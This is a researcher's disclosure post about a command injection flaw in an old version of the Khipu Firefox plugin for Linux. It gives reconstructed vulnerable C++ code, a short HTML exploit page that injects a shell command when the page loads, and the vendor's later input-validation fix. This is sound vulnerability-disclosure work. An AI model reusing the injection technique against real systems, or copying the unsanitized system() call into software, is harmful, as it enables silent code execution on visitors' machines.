Command injection in Khipu Firefox plugin
In April 2014 I reported a vulnerability in the Firefox plugin of Khipu, which comes by default with the Khipu package for Linux. I received a fast response from them but they never notified me when the fixed version was available.
Some months ago I tried again and the vulnerability was fixed. So I think I can talk about it now.
The vulnerability
If you want to pay with Khipu from Linux, you can download the application for Linux available here. Listing the files that the package contains we can see that there's a Firefox plugin called npKHPlugin.so
.
$ dpkg -c khipu_1.15.1511.1_amd64.deb
drwx------ 0/0 0 2015-05-14 20:50 ./
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/lib/
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/lib/mozilla/
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/lib/mozilla/plugins/
-rwxr-xr-x 0/0 2781439 2015-05-14 20:49 ./usr/lib/mozilla/plugins/npKHPlugin.so
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/share/
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/share/applications/
-rwxr-xr-x 0/0 268 2015-05-14 20:50 ./usr/share/applications/khipu.desktop
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/share/khipu/
-rwxr-xr-x 0/0 64549 2015-05-14 20:50 ./usr/share/khipu/icon.png
-rwxr-xr-x 0/0 253 2015-05-14 20:50 ./usr/share/khipu/com.khipu.chrome.json
drwxr-xr-x 0/0 0 2015-05-14 20:50 ./usr/bin/
-rwxr-xr-x 0/0 798936 2015-05-14 20:50 ./usr/bin/khipu
It's the last version of the package. However, in this post I'll be talking about the version 1.0.2.1
available on April 2014 and such file is available here: vulnerable_npKHPlugin.so (f2a2ac4d2842f7a284e7fccaa2918844
). We have to consider that at that time the Firefox version was 28.0, which was important to run the exploit stealthily.
I was curious because the Linux package had a binary application and a Firefox plugin, so they had to communicate each other. I simulated a purchase and when it was time to pay with Khipu, Firefox popped up magically the binary application.
I examined the plugin file with strings
to look for some interesting data and I got one!
$ strings vulnerable_plugin.so | grep khipu
/usr/bin/khipu %s &
khipu_version
Khipu binary works with the transaction_id
as argument, which is a number. It seems that the plugin is calling the binary just concatenating the transaction_id
without escaping it, making possible command injection. That was my guess and it was true.
With the help of HopperApp and making the code more readable, I could rewrite the vulnerable code:
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
using namespace std;
int callKH(string khipu_id) {
char *cmdline_str;
cmdline_str = (char *) malloc(1024);
sprintf(cmdline_str, "/usr/bin/khipu %s &", khipu_id.c_str());
system(cmdline_str);
free(cmdline_str);
return 0;
}
int main (int argc, char* argv[])
{
//callKH("12345"); //normal call
callKH(argv[1]);
}
There are two things to note:
-
The code is effectively vulnerable to command injection since
khipu_id
isn't sanitized and is included as parameter in the call tosystem()
. -
At line 10,
cmdline_str
is defined in the heap with a size of 1024 bytes. Askhipu_id
doesn't have any limit in its length, it's possible that the complete command defined at line 12 end up being longer than 1024 and a heap overflow is produced. It effectively crashed the plugin in Firefox but I didn't do more research on that branch.
Exploitation
Now, to exploit this vulnerability I have to invoke the plugin from the browser. I can't remember the full details of it since in the end I've found a simple way to call the plugin directly.
To call the plugin, the website using Khipu has a Javascript logic. It creates an object Khipu
that has a plugin
attribute that handles the plugin call. After understanding the Javascript logic and how Khipu.plugin
worked, I could reach the requirements for the exploit:
- It has to have a
embed
object with idkhPlugin
and typeapplication/x-KHPlugin
to be able to interact with the plugin. - There are some ways to call the plugin, for instance using
Khipu.plugin
. After some tries I conclude that I could access the plugin directly usingkhPlugin.callKH()
.
Having these two requirements in mind, the final exploit was:
<html>
<embed id="khPlugin" type="application/x-KHPlugin" width="0" height="0"></embed>
<script>
khPlugin.callKH("12345; echo 'hello' > /tmp/land/hello.txt")
</script>
</html>
Here the exploit will create the file /tmp/land/hello.txt
. The exploit works smoothly, it pops up the Khipu
binary with some error in the transaction but in the background a file is created on the filesystem, just with loading the malicious page.
A video showing the exploitation is here:
The fixes
After waiting some time without any response, I tried again against latest version of Khipu plugin and the vulnerability wasn't there anymore. After examining the binary, I could find that the vulnerable function was replaced by one safer.
Once again with the help of Hopper and after understanding the logic, I could rewrite the code. It's based on version 1.0.2.2
(August 2014) but it seems that in the current version the same logic is used:
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string>
using namespace std;
int callKH(string khipu_string) {
size_t pos_khipu_string = khipu_string.find_last_of("payment/getPaymentData/") + 1;
if (pos_khipu_string >= 0) {
string transaction_id = khipu_string.substr(pos_khipu_string);
bool has_only_valid_chars = true;
bool valid_string;
for (int i = 0; i < transaction_id.length(); i++){
int is_alnum = isalnum(transaction_id[i]);
if (!is_alnum) {
has_only_valid_chars = false;
}
}
if ((has_only_valid_chars == false) || transaction_id.length() != 13) {
valid_string = false;
}
else {
valid_string = true;
}
if (valid_string) {
char *cmdline;
asprintf(&cmdline, "/usr/bin/khipu %s &", transaction_id.c_str());
system(cmdline);
free(cmdline);
}
}
return 0;
}
int main (int argc, char* argv[])
{
// callKH("payment/getPaymentData/123456");
callKH(argv[1]);
}
Now, the string coming from the page to the plugin has to meet these conditions:
- Starts with
payment/getPaymentData/
string (line 9) - After that string, it's the
transaction_id
. It has to contain only alphanumeric characters (for
at line 16) and not be longer than 13 characters (line 23).
Firefox updated its plugin policy too. As of version 30.0, it's not running plugins automatically. It affected the stealthy working of the exploit since now a pop-up arise saying that the site is trying to run Khipu plugin before executing the code.
Conclusions
After sending some vulnerabilities to Khipu, I could consider them as a company reacting quickly against security vulnerabilities. However, they should implement a policy to proceed when a vulnerability is notified, keeping a conversation flow with the notifier and let him know when the vulnerability is fixed.